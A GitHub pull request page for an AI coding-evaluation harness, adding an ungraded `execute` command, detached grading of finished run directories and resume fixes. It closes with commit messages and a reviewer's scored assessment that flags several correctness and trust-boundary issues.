Skip to content

feat(cli): coder-eval execute + detached grading via evaluate <run_dir> - #154

Open
akshaylive wants to merge 7 commits into
mainfrom
akshaya/coder_eval_execute
Open

feat(cli): coder-eval execute + detached grading via evaluate <run_dir>#154
akshaylive wants to merge 7 commits into
mainfrom
akshaya/coder_eval_execute

Conversation

@akshaylive

@akshaylive akshaylive commented Sep 3, 2026

Copy link
Copy Markdown
Collaborator

Splits running from grading, so an external harness can own the verdict — and closes the loop so a run executed now can be graded later.

The motivating case is Harbor (Terminal-Bench 2.0), which builds its own container, calls coder-eval as the agent, and grades with its own tests/test.sh. Grading twice there would be worse than not grading at all: coder-eval's verdict would be reported alongside Harbor's without being the one that counts.

This is Part A, phases 1–5 of the Harbor interop plan (tmp/harborframework.md).

coder-eval execute  tasks/hello.yaml --run-dir ./r   # run, capture, score nothing
coder-eval evaluate ./r/default/hello/00             # supply the verdict later
coder-eval aggregate ./r                             # run.json now reports it

1. coder-eval execute

coder-eval run with the grading half removed. The agent runs and the full trajectory lands in task.json as usual, but no criterion is checked, weighted_score stays None, and the row finalizes as the new FinalStatus.NOT_GRADED.

NOT_GRADED is a fourth reporting category

category == "ungraded" — not a fold into the existing three. Folding into failed would depress every pass rate, into succeeded would invent verdicts, into error would report a healthy run as broken.

Ungraded rows leave both sides of every rate: RunSummary / VariantAggregate pass_rate and error_share now divide by tasks_graded (tasks_run - tasks_not_graded), identical to tasks_run for any graded run. tasks_not_graded is part of the sum-to-tasks_run invariant, not a tasks_failed sub-counter, and is defaulted so existing run.json / experiment.json still parse.

weighted_score is set to None explicitly rather than left to calculate_weighted_score, which writes 0.0 for an empty results list — indistinguishable from "graded and scored zero", and every downstream score or 0.0 would launder it into a real-looking failure.

Only SUCCESS/FAILURE collapse into it. ERROR, TIMEOUT, BUILD_FAILED, MAX_TURNS_EXHAUSTED and the budget stops are facts about the run, not about grading — they still apply, and execute still exits non-zero on a crash.

The switch

BatchRunConfig.gradeOrchestrator(grade=...), gating all four grading call sites. It crosses the docker boundary in context.json, defaulting to True in-container so a host predating execute keeps grading.

Deliberately not a task-config field: no 5-layer merge, no -D path. A task YAML must never declare itself ungraded; only the invoking command decides.

run and execute share one body (run_pipeline) — no third code path. Only the Typer signature is restated, and a test keeps the two option sets in step.

Refused rather than degraded

Not supported Why
--junit-xml A report of verdicts, and there are none. (reports_junit still emits <skipped> for an ungraded row met elsewhere.)
Simulation tasks The dialog loop reads criteria results to decide whether to keep talking; an ungraded dialog would silently change its own stopping behavior.
stop_early: Goes inert — it exists to cut a run once the criteria decide, and here the full trajectory is the deliverable.

--resume is supported — see part 4.


2. Detached grading — evaluate <run_dir>

evaluate now takes two shapes, told apart by a pure resolver (cli/evaluate_target.py) on one probe: a target holding task.json is a run directory. Passing a task file over a run directory re-grades it with different criteria, reusing the trajectory and workspace of a run you already paid for.

A re-grade must describe the run that happened

Run-dir mode rebuilds the task from the run's own task_config.resolved, not by re-reading the YAML. resolved is post-merge, so variant overrides, -D flags and dataset row expansion are already baked in — re-loading the source would silently grade a different task. Fallback to source_file happens only when resolved no longer validates, and says so loudly.

Orchestrator(prior_result=...) seeds the fresh result, carrying:

  • the trajectory — every derived figure (tokens, cost, command_stats, model_used) recomputes from iterations, so seeding it reproduces them exactly;
  • iteration_count, which evaluate-only used to flatten to 1;
  • early_stop — load-bearing. Gate selection is FIRED-ONLY: when set, the checker gates on the weighted armed subset instead of strict-AND. Dropping it would re-grade a truncated trajectory under the full-run gate and flip the verdict;
  • execution facts (max_turns_exhausted, error_message, sdk_options).

Grader-host environment_info is preserved under a graded_by sub-dict rather than overwriting the run's.

Two further parity fixes, both closing gaps the code already knew about:

  • command_base_path is now persisted and restored in the evaluate-only branch. _sync_sandbox_command_path_with_agent's docstring already named "evaluate-only mode" as a known PATH gap; without this a detached grade resolves run_command binaries against ambient PATH and can disagree with the run it grades.
  • _join_litellm_actual_cost skips when prior_result is set. It keys on a per-Orchestrator nonce the prior turns never carried, so it would match nothing and overwrite already-correct per-turn costs.

A re-grade refuses outright on a reference_digest mismatch — grading then would score the agent's old work against a new answer key.

The verdict is written back into the run's task.json, keeping the pre-grade record as task.execute.json. That in-place write is what makes plain coder-eval aggregate <run_dir> rebuild a graded run.json with zero new code.


3. Sandbox.adopt — and the pre-existing bug it fixes

adopt(workspace) reuses setup's adoption half but skips every materializing step (_setup_template, _generate_cli_recorders, venv/package installs, the destructive $HOME remediation), running only non-mutating derivation: mock-dir +x, venv discovery, plugin-tools pin. _cleanup_on_exit stays False, so an adopted tree is never moved or deleted.

In-place is more correct, not merely faster. _setup_template filters its copy through _should_ignore_template_file, whose default list drops node_modules, dist, build, .venv, .git. So evaluate today scores a file that is plainly there as missing:

copy path:  Score 0.00   "File 'node_modules/x/a.js' does not exist"
in place:   Score 1.00   "File 'node_modules/x/a.js' exists"

That is a defect independent of execute — it breaks grading for any task that builds something.

Defaults: in-place for a run directory (it is the run's own output), copy for a bare work directory (criteria can mutate it and it is the user's tree). --in-place / --copy override. adopt hard-errors on driver: docker: a container workspace is unreachable from the host, so adopting one would grade whatever happens to sit at that host path.


4. --resume now distinguishes "executed" from "graded"

--resume decided a task was finished by asking "does task.json carry any final_status". NOT_GRADED is a final status, so run --resume over an executed run reported the tasks complete, graded nothing, and exited 0:

after execute:            NOT_GRADED
$ coder-eval run --run-dir tmp/res --resume
↻ Resume: 1 task(s) already complete, running 0 remaining
Results: 1/1 executed, not graded
real exit code: 0
after run --resume:       NOT_GRADED

"Finished" is relative to the resuming command. partition_for_resume(tasks, *, grade) returns a four-way ResumePartition:

On disk run --resume execute --resume
No task.json, unreadable, or no final_status re-run re-run
NOT_GRADED grade in place already complete
Any other status, incl. FAILURE / ERROR already complete already complete

A NOT_GRADED row owes execute nothing but owes run a grade, so run --resume runs the criteria against the trajectory and workspace already on disk rather than paying for the agent twice — the entire reason the two commands are separate.

The carve-out is only for NOT_GRADED. Resume has never retried failures, and a parametrized test pins that so this cannot grow into a general "retry bad rows" rule. clear_rerun_artifacts skips to_grade, whose artifacts are the very thing being graded. A per-task grading failure is warned and folded back in with its original ungraded result, so one bad row neither aborts the resume nor vanishes from run.json.

grade is exempt from the config-drift warning: executerun --resume is a supported flow, and that warning's "already-finalized tasks keep their original-config results" text is actively wrong for it. execute --resume is consequently supported and no longer refused.

orchestration/regrade.py is the single implementation shared by this path and evaluate's run-dir mode — two copies of "how to re-grade" would drift into two verdicts for the same run.

A fidelity bug the test caught

A re-graded row was reporting the grading pass's clock. A 10-minute agent run re-graded in 2 seconds would record 2 seconds — and duration_seconds feeds average_duration, the report tables and the evalboard, so harness comparisons would have been quietly wrong. A task row describes the task, so it now keeps the agent run's started_at and duration_seconds; the grading cost is preserved separately as environment_info["grading_duration_seconds"].


Ripple

The explicit-mapping guards did their job — every surface below failed loudly rather than silently mis-bucketing the new status: pyright on reports_junit._category_of, the _status_badge category tests, the published-action "every FinalStatus must be classified" test, and CE018's enum-parity check.

  • reports_junit — ungraded → <skipped> (already counted by _set_counts).
  • reports_html — neutral badge; the "no member falls through to neutral" guard now allows it for ungraded only.
  • reports / reports_experiment — a Not Graded line; the pass rate reads n/a for a fully ungraded run instead of 0.0%. An ordinary empty run keeps its original 0/0 rendering — different facts.
  • experiment aggregationaverage_score means over graded rows only; _pick_worst_status ranks ungraded least-urgent so any real verdict wins.
  • verify-published-action.ymlNOT_GRADED hard-fails. That job runs the published action, which always grades, so reaching it means the action dispatches the wrong command and every score gate in the job is measuring nothing.
  • evalboard statusCategoryNOT_GRADED"unknown", the category every consumer already treats as "no verdict here".

Also: evaluate's Typer command is now a thin wrapper over run_evaluation(...) with real Python defaults — the same split run/execute use. Calling a Typer command in-process hands unspecified options an OptionInfo sentinel, which silently made in_place=None truthy.


Verification

make verify green (4612 passed, 92.07%) and make evalboard-verify green (608 tests).

The headline test asserts execute + evaluate reaches the same status, score and per-criterion results as a single run — compared against a real run rather than hardcoded values, so a change breaking both paths still fails. Alongside it:

  • an end-to-end execute that asserts pre_run's file is written, so a merely-skipped task cannot pass;
  • a negative control proving run still scores that same task 1.0;
  • aggregate rebuilds a graded run.json unaided; the trajectory survives the re-grade; the adopted workspace is not moved or deleted; task.execute.json preserves the ungraded record;
  • adopt writes nothing, deletes nothing, and exposes the filtered directories;
  • the target resolver, table-tested over every (one arg / two args) × (run dir / plain dir / file / missing) combination;
  • the docker context.json round-trip, and run/execute signature parity.

Scoped out

Relaxing the non-empty success_criteria validator. execute on an existing task YAML needs no such change; it is only needed for a foreign task format with no criteria to declare, and belongs with that work.

🤖 Generated with Claude Code

@github-actions

github-actions Bot commented Sep 3, 2026

Copy link
Copy Markdown

Claude finished @akshaylive's task in 1m 49s —— View job


Working on review...

Todo List

  • Read .github/code_review.md for guidelines
  • Read CLAUDE.md for project conventions
  • Get full diff with git diff origin/main...HEAD
  • Review all changed files with full context
  • Perform cross-file consistency checks
  • Analyze for missing pieces
  • Format and post review

@akshaylive akshaylive changed the title feat(cli): add coder-eval execute — run tasks without grading them feat(cli): coder-eval execute + detached grading via evaluate <run_dir> Sep 3, 2026
akshaylive and others added 5 commits September 3, 2026 15:41
`coder-eval execute` is `coder-eval run` with the grading half removed: the
agent runs and the full trajectory lands in task.json as usual, but no
criterion is checked, `weighted_score` stays None, and the row finalizes as
the new `FinalStatus.NOT_GRADED`.

It exists so an external harness can own the verdict — the motivating case is
Harbor (Terminal-Bench 2.0), which builds its own container, calls coder-eval
as the agent, and grades with its own tests/test.sh. Grading twice there would
be worse than not grading: coder-eval's verdict would be reported alongside
Harbor's without being the one that counts.

## NOT_GRADED is a fourth reporting category

`FinalStatus.NOT_GRADED.category == "ungraded"`, not a fold into one of the
existing three — folding into "failed" would depress every pass rate, into
"succeeded" would invent verdicts, into "error" would report a healthy run as
broken. Ungraded rows therefore leave BOTH sides of every rate:
`RunSummary` / `VariantAggregate` `pass_rate` and `error_share` now divide by
`tasks_graded` (`tasks_run - tasks_not_graded`), which is identical to
`tasks_run` for every graded run. `tasks_not_graded` is part of the
sum-to-`tasks_run` invariant, not a `tasks_failed` sub-counter, and is
defaulted so pre-existing run.json/experiment.json still parse.

`weighted_score` is set to None explicitly rather than left to
`calculate_weighted_score`, which writes 0.0 for an empty results list — a
value indistinguishable from "graded and scored zero" that every downstream
`score or 0.0` would launder into a real-looking failure.

Only SUCCESS/FAILURE collapse into NOT_GRADED. ERROR, TIMEOUT, BUILD_FAILED,
MAX_TURNS_EXHAUSTED and the budget stops are facts about the *run*, not about
grading, so they still apply and `execute` still exits non-zero on a crash.

## The switch

`BatchRunConfig.grade` -> `Orchestrator(grade=...)`, gating all four grading
call sites (single-shot, evaluate-only, the simulation dialog check,
post-failure diagnostics). It crosses the docker boundary in context.json,
defaulting to True in-container so a host predating `execute` keeps grading.

It is deliberately NOT a task-config field: no 5-layer merge, no -D path. A
task YAML must never be able to declare itself ungraded; only the invoking
command decides.

`run` and `execute` share one body (`run_command.run_pipeline`) and differ
solely in that flag — no third code path. Only the Typer signature is
restated, and a test asserts the two option sets stay in step.

## Refused rather than degraded

- `--junit-xml`: a report of verdicts, and there are none. (reports_junit
  still emits <skipped> for an ungraded row it encounters elsewhere.)
- `--resume`: partition_for_resume treats "has any final status" as
  finalized, so a NOT_GRADED row would be skipped by a later `run --resume`
  rather than graded.
- Simulation tasks: the dialog loop reads criteria results to decide whether
  to keep talking, so an ungraded dialog would silently change its own
  stopping behavior. Rejected by name at startup.
- `stop_early:` blocks go inert: early stop cuts a run once the criteria
  decide the outcome, and here the full trajectory is the deliverable.

## Ripple

The explicit-mapping guards did their job — every surface below failed loudly
rather than silently mis-bucketing the new member: pyright on
`reports_junit._category_of`, the `_status_badge` category tests, the
published-action gate's "every FinalStatus must be classified" test, and
CE018's enum-parity check.

- reports_junit: ungraded -> <skipped> (already counted by _set_counts).
- reports_html: neutral badge; the "no member falls through to neutral" guard
  now allows it for ungraded only.
- reports / reports_experiment: a "Not Graded" line, and the pass rate reads
  "n/a" for a fully ungraded run instead of 0.0% (an ordinary EMPTY run keeps
  its original 0/0 rendering — different facts).
- experiment aggregation: average_score means over graded rows only, and
  _pick_worst_status ranks ungraded least-urgent so any real verdict wins.
- verify-published-action.yml: NOT_GRADED hard-fails. That job runs the
  published action, which always grades, so reaching it means the action is
  dispatching the wrong command and every score gate is measuring nothing.
- evalboard statusCategory: NOT_GRADED -> "unknown", the category every
  consumer already treats as "no verdict here". Not a pass, not a failure.

## Verification

`make verify` and `make evalboard-verify` both green. The new suite covers the
status semantics, an end-to-end execute against the agentless task (asserting
pre_run's file IS written, so a skipped task can't pass), a negative control
proving `run` still scores that same task 1.0, the docker context.json
round-trip, and the run/execute signature parity.

Scoped out of this PR: relaxing the non-empty `success_criteria` validator.
`execute` on an existing task YAML needs no such change; it is only needed for
a foreign task format that has no criteria to declare, and belongs with that
work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…`Sandbox.adopt`

`coder-eval execute` withholds the verdict; this closes the loop by letting
`coder-eval evaluate` supply it later, and fixes a pre-existing bug that made
the copy-based grading path score real files as missing.

## `evaluate` takes two shapes

Told apart by a pure resolver (`cli/evaluate_target.py`) on one probe: a target
holding `task.json` is a run directory.

    coder-eval evaluate tasks/hello.yaml ./my_solution   # unchanged
    coder-eval evaluate ./r/default/hello/00             # re-grade a finished run

    coder-eval execute  tasks/hello.yaml --run-dir ./r
    coder-eval evaluate ./r/default/hello/00
    coder-eval aggregate ./r        # run.json now reports the verdict

Passing a task file OVER a run directory re-grades it with different criteria,
reusing the trajectory and workspace of a run you already paid for.

## Re-grading must describe the run that happened

Run-dir mode rebuilds the task from the run's own `task_config.resolved`, NOT
by re-reading the YAML. `resolved` is post-merge, so variant overrides, -D
flags and dataset row expansion are already baked in; re-loading the source
would silently grade a different task. Falling back to `source_file` happens
only when `resolved` no longer validates, and says so loudly.

`Orchestrator(prior_result=...)` seeds the fresh result via
`_seed_from_prior_result`, which carries:

- the trajectory — every derived figure (tokens, cost, command_stats,
  model_used, assistant turns) recomputes from `iterations`, so seeding it
  reproduces them exactly;
- `iteration_count`, which evaluate-only used to flatten to 1;
- `early_stop` — LOAD-BEARING. Gate selection is FIRED-ONLY: when it is set
  the checker gates on the weighted ARMED subset instead of strict-AND.
  Dropping it would re-grade a truncated trajectory under the full-run gate
  and flip the verdict;
- execution facts (max_turns_exhausted, error_message/details, sdk_options).

Grader-host `environment_info` is preserved under a `graded_by` sub-dict
rather than overwriting the run's — showing the grader's tool versions as the
run's is worse than showing neither.

Two further parity fixes, both closing gaps the code already knew about:

- `command_base_path` is now persisted by `_sync_sandbox_command_path_with_
  agent` and restored in the evaluate-only branch. That method's docstring
  named "evaluate-only mode" as a known PATH gap; without it a detached grade
  resolves `run_command` binaries against ambient PATH and can disagree with
  the run it claims to grade.
- `_join_litellm_actual_cost` skips when `prior_result` is set. It keys on a
  per-Orchestrator nonce the prior turns were never tagged with, so it would
  match nothing and overwrite already-correct per-turn costs.

A re-grade refuses outright on a `reference_digest` mismatch: grading then
would score the agent's old work against a new answer key.

The verdict is written back into the run's `task.json`, keeping the pre-grade
record as `task.execute.json`. That in-place write is what makes plain
`coder-eval aggregate <run_dir>` rebuild a graded run.json with zero new code.

## `Sandbox.adopt` — and the bug it fixes

`adopt(workspace)` reuses `setup`'s adoption half but skips every
MATERIALIZING step (`_setup_template`, `_generate_cli_recorders`,
venv/package installs, the destructive $HOME remediation), running only
non-mutating derivation: mock-dir +x, venv *discovery*, plugin-tools pin.
`_cleanup_on_exit` stays False, so an adopted tree is never moved or deleted.

In-place is MORE CORRECT, not merely faster. `_setup_template` filters its
copy through `_should_ignore_template_file`, whose default list drops
node_modules, dist, build, .venv and .git. So `evaluate` today scores a file
that is plainly there as missing:

    copy path:  Score 0.00  "File 'node_modules/x/a.js' does not exist"
    in place:   Score 1.00  "File 'node_modules/x/a.js' exists"

That is a pre-existing defect independent of `execute`. Defaults: in-place for
a run directory (it is the run's own output), copy for a bare work directory
(criteria can mutate it and it is the user's tree); `--in-place` / `--copy`
override. `adopt` hard-errors on `driver: docker` — a container workspace is
unreachable from the host, so adopting one would grade whatever happens to sit
at that host path.

## Also

The Typer command is now a thin wrapper over `run_evaluation(...)`, which has
real Python defaults — the same split `run`/`execute` use. Calling a Typer
command function in-process hands unspecified options an `OptionInfo`
sentinel, which silently made `in_place=None` truthy; the existing
test_evaluate_command.py calls were the ones that surfaced it.

## Verification

`make verify` green (4602 passed, 92.06%).

The headline test asserts `execute` + `evaluate` reaches the same status,
score and per-criterion results as a single `run` — compared against a real
`run` rather than hardcoded values, so a change breaking both paths still
fails. Plus: aggregate rebuilds a graded run.json unaided; the trajectory
survives the re-grade; the adopted workspace is not moved or deleted;
task.execute.json preserves the ungraded record; the original two-argument
form still works; adopt writes nothing, deletes nothing, and exposes the
filtered directories; and the target resolver is table-tested over every
(one arg / two args) x (run dir / plain dir / file / missing) combination.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
`--resume` decided a task was finished by asking "does task.json carry any
final_status". NOT_GRADED is a final status, so `run --resume` over a run
produced by `coder-eval execute` reported the tasks already complete, graded
nothing, and exited 0:

    after execute:            NOT_GRADED
    $ coder-eval run --run-dir tmp/res --resume
    ↻ Resume: 1 task(s) already complete, running 0 remaining
    Results: 1/1 executed, not graded
    real exit code: 0
    after run --resume:       NOT_GRADED

## "Finished" is relative to the resuming command

`partition_for_resume(tasks, *, grade)` now returns a four-way
`ResumePartition` (to_run / to_grade / prior_results / prior_resolved). A
NOT_GRADED row owes `execute` nothing — it finished executing — but owes `run`
a grade. Under grade=True those rows route to `to_grade`, where the criteria
run against the trajectory and workspace already on disk instead of paying for
the agent a second time. That reuse is the entire reason `execute` and `run`
are separate commands.

The carve-out is ONLY for NOT_GRADED. FAILURE and ERROR stay complete under
both commands — resume has never retried failures (delete a task's task.json
to force that) — and a parametrized test pins that so the carve-out cannot
grow into a general "retry bad rows" rule. `clear_rerun_artifacts` skips
`to_grade`, whose artifacts are the very thing being graded.

A per-task grading failure is warned and folded back in with its ORIGINAL
ungraded result, so one bad row neither aborts the resume nor vanishes from
run.json — it stays visible as tasks_not_graded.

`grade` joins `_FINGERPRINT_DIFF_EXEMPT`: execute → run --resume is a
supported flow, not config drift, and the warning's "already-finalized tasks
keep their original-config results" text is actively wrong for it (those rows
are re-graded with the current config, which is the point).

`execute --resume` is consequently supported and no longer refused.

## One implementation, not two

`orchestration/regrade.py` now holds the re-grading core, shared by the resume
path and `evaluate`'s run-dir mode. Two copies of "how to re-grade" would
drift into two different verdicts for the same run. It raises a plain
`RegradeError` that the CLI wraps, since orchestration/ must not import the
CLI layer (CE004).

## Fidelity fix caught by writing the test

A re-graded row was reporting the GRADING pass's clock. A 10-minute agent run
re-graded in 2 seconds would record 2 seconds — and duration_seconds feeds
VariantAggregate.average_duration, the report tables and the evalboard, so
harness-vs-harness comparisons would have been quietly wrong.

A task row describes the TASK, so it now keeps the agent run's `started_at`
and `duration_seconds`. The grading pass's own cost is preserved separately as
`environment_info["grading_duration_seconds"]` rather than discarded, so a slow
judge stays visible.

## Verification

`make verify` green (4612 passed, 92.07%).

End-to-end: `run --resume` grades what execute left (NOT_GRADED → SUCCESS,
pass_rate 1.0) while reporting "running 0 remaining", so the agent demonstrably
did not re-run; the trajectory, started_at and duration_seconds all survive;
task.execute.json is preserved by this path too; `execute --resume` treats the
row as done; and no config-drift warning is emitted. Unit: the four-way
partition under both grade values, and the failure-retry guard.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Full code review of the branch found two criticals and twelve highs. Every one
of them is invisible to ruff/pyright/pytest/bandit/CodeQL, and every one of the
worst produces a plausible number that is wrong rather than a crash.

Verdict correctness

* Gate selection is FIRED-ONLY, but only the AGENT path implemented it. The
  evaluate-only branch — the one a detached grade actually takes — called
  `all_criteria_passed` unconditionally, so `evaluate <run_dir>` over an
  early-stopped run applied the full-run strict-AND gate to a truncated
  trajectory and could flip SUCCESS to FAILURE, then persist it. `early_stop`
  was seeded and read by nothing. Both paths now go through one
  `Orchestrator._select_gate()`.
* `run()` calls the pre/post-run hooks unconditionally with `cwd = sandbox_dir`.
  On an adopted sandbox that is the agent's own output, and in-tree tasks stage
  fixtures there (`cp -a /app/[!.]* "$PWD/"`), so a detached grade overwrote the
  deliverables before the criteria read them. `Sandbox.was_adopted` now skips
  both, and their recorded results are carried from the prior run.
* Grading may only move NOT_GRADED to SUCCESS/FAILURE. A prior TIMEOUT / ERROR /
  budget stop is an execution fact this pass neither repeated nor observed;
  `FinalStatus.is_execution_fact` (explicit map, no catch-all) preserves it.
* The `reference_digest` guard was dead code — one grep hit in the whole tree,
  the read itself. The digest is now persisted at staging, resolves against the
  real task file, and RAISES on a vanished reference instead of returning.

Counting and reporting

* The evalboard rendered a clean `execute` run as 0% pass, N failed: every rate
  helper is `else failed++`, so an ungraded row was counted as a failure AND
  kept in the denominator. `StatusCategory` gains an explicit "ungraded"
  member; run-view, trends and watchlist exclude it from both sides.
* `VariantResult.weighted_score` is `float | None`; `or 0.0` was laundering the
  ungraded None into a real-looking 0.000 that `_pick_best_variant` then ranked.
* `SuiteRollup` gets the fourth bucket its two siblings have, plus the row-count
  invariant it was missing. `tasks_graded` is serialized on both aggregates.
* `run --resume` exited 0 when every grade failed. The gate counts
  `tasks_not_graded` when grade is True; the reason is stamped on the row.

Other

* `evaluate`'s run-dir mode delegates to `regrade_in_place` instead of
  restating it. The copies had already drifted (hardcoded `replicate_index=0`).
* `execute --driver docker` against an image predating `execute` silently
  graded; the returned row is now asserted NOT_GRADED.
* A PATH restored from a run's own task.json is prepended ahead of the host's,
  so entries that do not exist or lie inside the graded workspace are dropped;
  shell commands rebuilt from a run dir's recorded config are announced.
* `_seed_from_prior_result` also carries `agent_config`, `error_log_tail`,
  `expected_commands`, `simulation` and `sandbox_path`, which it was dropping.

Tests: `test_seed_from_prior_result.py` partitions every `EvaluationResult`
field as CARRIED or RECOMPUTED and fails closed on a new one; `test_regrade.py`
covers the refusal branches (the digest guard's own test never reached it —
the fixture had no reference, which is why the missing writer went unnoticed);
`status.test.ts` covers the evalboard mirror, which had no test at all.

make verify green (4654 passed, 92.14%); evalboard 621 tests green.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The 23 medium / 20 low findings from the same review pass. Grouped by what
they change rather than by axis.

Correctness

* `Sandbox.adopt` discovered `<workspace>/.venv` unconditionally, while `setup`
  only ever populates `venv_dir` when `config.python` is set. A venv the task
  never asked for was prepended to PATH and exported as VIRTUAL_ENV for every
  criterion — the exact divergence the `command_base_path` round trip exists to
  close, and a way for an agent to shadow binaries from its own workspace.
* `default_workspace` inferred the workspace as "the single child of
  artifacts/". A dataset row's `task_id` is `<suite>/<row>`, so that resolves
  one level too high and every path-relative criterion then fails as a locating
  artifact rather than as a verdict. It now resolves `artifacts/<task_id>`
  exactly, and RAISES when ambiguous instead of guessing the parent.
* `_write_back` overwrote the canonical `task.json` with a plain `write_text`
  while the orchestrator writes the same file via tmp + `os.replace`. A torn
  write parses as malformed, which `--resume` reads as "not complete" and pays
  for the agent again. One `write_text_atomic` helper now serves both.
* A grading crash wrote `ERROR` over a re-gradeable `NOT_GRADED` row — and
  `ERROR` is "complete" for both commands, so the row could never be graded
  again. Both detached paths now keep the ungraded row.
* `load_prior_result` sat outside the resume loop's `try`, so one unreadable
  row aborted the whole resume BEFORE `run_batch` — none of the `to_run` tasks
  executed either, the opposite of the documented "one bad row never aborts".
* `back_up_pre_grade_record` ran after the orchestrator, so with `--run-dir`
  pointing at the target it captured an already-graded record — destroying the
  evidence it exists to preserve. It is now taken during input resolution.
* `verify_reference_unchanged` moved INSIDE `regrade_in_place`: a guard a
  caller has to remember is one a third caller will forget.
* `completed_at` is carried from the prior run, so a re-graded row's three time
  fields agree with each other.
* `grade` is now coerced at the container boundary rather than annotated —
  `"false"` is a truthy str.

Reporting

* `VariantAggregate.average_score` is `float | None`; `_mean_graded_score`
  returned 0.0 for the case that actually happens (nothing graded), printing
  `Average Score: 0.000` beside `Pass Rate: n/a`.
* `SuiteRollup` gains `rows_not_graded`, the graded denominator, and the
  row-count invariant its two siblings have and it did not.
* `_seed_from_prior_result` nested a whole env capture under `graded_by`;
  `environment_info` is consumed as a FLAT map (the HTML report `_esc`apes each
  value into a cell), so it renders as a Python dict repr. Flattened to
  `graded_by_*` scalars, kept only where they differ, and a second grade no
  longer clobbers the first grader's stamp.
* `command_base_path` is a full PATH string written on every run; it and the
  provenance keys are excluded from the rendered Environment tables.
* The end-of-run hint pointed at `evaluate <task.yaml> <workspace>` — the shape
  with NO trajectory, which scores trajectory-reading criteria differently from
  what `run` would have produced. An empty run also printed no Results line.

Two new lint rules, each of which found a live instance the moment it ran

* CE047 — an `environment_info` key that is read must be written somewhere in
  `src/`. This is the durable form of the `reference_digest` fix: the bag is
  `dict[str, Any]`, so nothing connects a reader to its writer, and a reader
  with no writer is silently inert.
* CE048 — never call a Typer command function in process. It scans `tests/` as
  well, because that is the only place the defect occurs, and it immediately
  found six live calls to `plan_command` — whose body already carried an
  `isinstance(experiment, Path)` guard papering the sentinel over. Split into
  `run_plan`, matching `run_pipeline` / `run_evaluation`.

Also: `TASK_JSON` / `.venv` are single constants in `path_utils` instead of two
half-copies plus ten literals; symlink refusal and a containment check on the
paths a shared run dir supplies; `evaluate --help`'s usage line no longer
renders `[]`; `--resume` and `--preserve` help match the behavior; the
resumable-dataset constraint, `task.execute.json` and the suite schema are
documented.

Tests: `test_ungraded_reporting.py` (JUnit `<skipped>`, the switched Markdown
denominator, the console summary, and the `VariantAggregate` twin of the four
`RunSummary` cases), `test_detached_grading_guards.py` (the simulation refusal,
`--in-place`/`--copy` selection, the PATH round trip and its filter, the
LiteLLM skip), plus grade-idempotence, `--workspace`, the execution-fact
refusal, the resume error paths and a `/`-bearing dataset id.

make verify green (4688 passed, 92.26%); evalboard 621 tests green.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
@akshaylive
akshaylive force-pushed the akshaya/coder_eval_execute branch from 3387bdb to 489383d Compare September 3, 2026 22:43
akshaylive and others added 2 commits September 3, 2026 16:38
Both are test bugs, not product bugs, and both are the same class: an
assertion that passes on the developer's machine and only on the
developer's machine.

`_sanitize_restored_path` splits on `os.pathsep`; its test built the input
with a hardcoded ":". On Windows that parses as ONE non-existent entry, so
the sanitizer returns "" and every assertion below it passes vacuously —
the test was asserting nothing on the platform it failed on.

Rich splits an `--option` token across several style spans (`--junit-xml`
renders as `-` + `-junit` + `-xml`, each with its own escape), and it
styles whenever it believes it is writing to a terminal — which includes
GitHub Actions. So a bare substring check over `result.output` is green
locally and red only in CI. Strip ANSI first, following the helper and the
comment already in tests/test_cli_type_flag.py.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

@uipreliga uipreliga left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review: coder_eval — pr:154

Scope: pr:154 · branch akshaya/coder_eval_execute -> main · 698e213 · 2026-09-04T01:02Z · workflow variant

Change class: complex — new top-level CLI command (execute), an overloaded evaluate <run_dir> detached-grading path, a new FinalStatus member that changes rate denominators across every report surface and the cross-repo run.json contract, a new grade flag crossing the docker boundary, and Orchestrator(prior_result=) seeding; 61 files, +4737/-263, touching the production run path.

Architecture, typing, and API surface stay strong (9.5/8.8/8.4) and the ungraded-status design is coherent in intent, but the new detached execute/grade split is not yet trustworthy as an eval harness (4.4): it silently downgrades driver: docker to host grading, drops max-turns and budget facts under execute, inflates variant averages by dropping errored rows, and executes shell commands out of an untrusted run directory — so the bottom line is that the design is sound and mergeable only after the verdict-changing and trust-boundary defects in orchestration/regrade.py, orchestrator.py, and orchestration/experiment.py are closed.

Summary

Axis Score 🔴 🟠 🟡 🔵 Top Issue
1. Code Quality & Style 6.2 / 10 0 2 3 3 Evalboard's new ungraded fields are write-only while the pass-rate tile still counts ungraded rows in its denominator
2. Type Safety 8.8 / 10 0 0 2 2 SuiteRollup.pass_rate stayed non-Optional float while both parallel twins became `float
3. Test Health 7.3 / 10 0 1 3 2 Detached grading's PRIMARY crash-recovery branch is untested on both paths; the test that looks like it covers it exercises the rarer sibling
4. Security 7 / 10 0 2 2 0 evaluate <run_dir> rebuilds the task from the run directory's own task.json and executes its shell commands on the grader's host
5. Architecture & Design 9.5 / 10 0 0 1 0 _compute_suite_rollup excludes ungraded rows from the new pass_rate but still collects them into failed_samples, a list documented as failed/errored rows
6. Error Handling & Resilience 6.8 / 10 0 2 2 2 run --resume grading crash leaves ERROR on disk, so the row is permanently un-regradeable and run.json disagrees with task.json
7. API Surface & Maintainability 8.4 / 10 0 0 3 1 evaluate's run-dir/work-dir overload is decided by an unoverridable task.json probe, so a work directory that merely contains a file named task.json aborts the pre-existing two-argument form
8. Evaluation Harness Quality 4.4 / 10 1 1 3 1 Detached grading silently rewrites driver: docker -> tempdir, scoring docker tasks' run_command criteria on the grader's host (and neutralizing the new Sandbox.adopt docker guard)

Overall Score: 7.3 / 10 · Weakest Axis: Evaluation Harness Quality at 4.4 / 10
Totals: 🔴 1 · 🟠 8 · 🟡 19 · 🔵 11 across 8 axes.

Blockers

